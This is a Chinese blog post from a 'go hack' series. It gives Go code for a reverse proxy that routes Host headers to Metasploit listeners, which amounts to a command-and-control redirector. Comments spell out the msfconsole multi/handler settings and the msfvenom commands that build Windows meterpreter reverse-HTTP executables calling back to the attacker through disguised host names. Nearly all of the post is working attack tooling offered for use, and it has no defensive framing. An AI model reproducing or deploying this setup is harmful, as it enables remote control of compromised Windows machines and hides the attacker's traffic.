go hack(五)go反向代理与matasploit
go hack(五)go反向代理与matasploit
package main
import (
"fmt"
"log"
"net/http"
"net/http/httputil"
"net/url"
"github.com/gorilla/mux"
)
//使用httputil实现饭代
// 首先使用msfconsule生成两个监听器
// use exploit/multi/handler
// set payload windows/meterpreter_reverse_http
// set LHOST 192.168.1.128 代理地址
// set LPORT 8080
// set ReverseListenerBindAddress 192.168.1.128 实际地址
// set ReverseListenerBindPort 10080
// exploit -j -z
// 启动两个 一个10080 一个20080
// 生成两个马 在windows上执行,会自动回链LHOST LPORT, 头信息分别为attack1.com /attack2.com
// msfvenom -p windows/meterpreter_reverse_http LHOST=xx.xx.xx.xx LPORT=8080 HttpHostHeader=attack1.com -f exe -o payload.exe
// msfvenom -p windows/meterpreter_reverse_http LHOST=xx.xx.xx.xx LPORT=8080 HttpHostHeader=attack2.com -f exe -o payload2.exe
var (
hostProxy = make(map[string]string)
proxies = make(map[string]*httputil.ReverseProxy) // 路由到代理
)
// 变量初始化
func init() {
hostProxy["attack1.com"] = "http://192.168.1.128:10080"
hostProxy["attack2.com"] = "http://192.168.1.128:20080"
for k, v := range hostProxy {
// 验证url合法性,并返回net.URL实例
remote, err := url.Parse(v)
fmt.Println(remote)
if err != nil {
panic(err)
}
// 创建反代实例
proxies[k] = httputil.NewSingleHostReverseProxy(remote)
}
}
func main() {
r := mux.NewRouter()
for host, proxy := range proxies {
r.Host(host).Handler(proxy)
}
log.Fatalln(http.ListenAndServe(":8080", r))
}
收录于合集 #go hack
8个上一篇go hack(二)使用go实现一个简单后门下一篇go hack(六)dns子域探测
45度技术宅
关注公众号后可以给作者发消息
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· 全网最简单!3分钟用满血DeepSeek R1开发一款AI智能客服,零代码轻松接入微信、公众号、小程
· .NET 10 首个预览版发布,跨平台开发与性能全面提升
· 《HelloGitHub》第 107 期
· 全程使用 AI 从 0 到 1 写了个小工具
· 从文本到图像:SSE 如何助力 AI 内容实时呈现?(Typescript篇)
2021-12-02 k8s注意事项
2021-12-02 Deployment progressDeadlineSeconds
2021-12-02 gin是怎么传参数
2021-12-02 go字符串转[]bytes
2021-12-02 mysql实现高可用架构之MHA
2020-12-02 es请求number_of_replicas带xpack认证
2020-12-02 ES定时清除带xpack的日志索引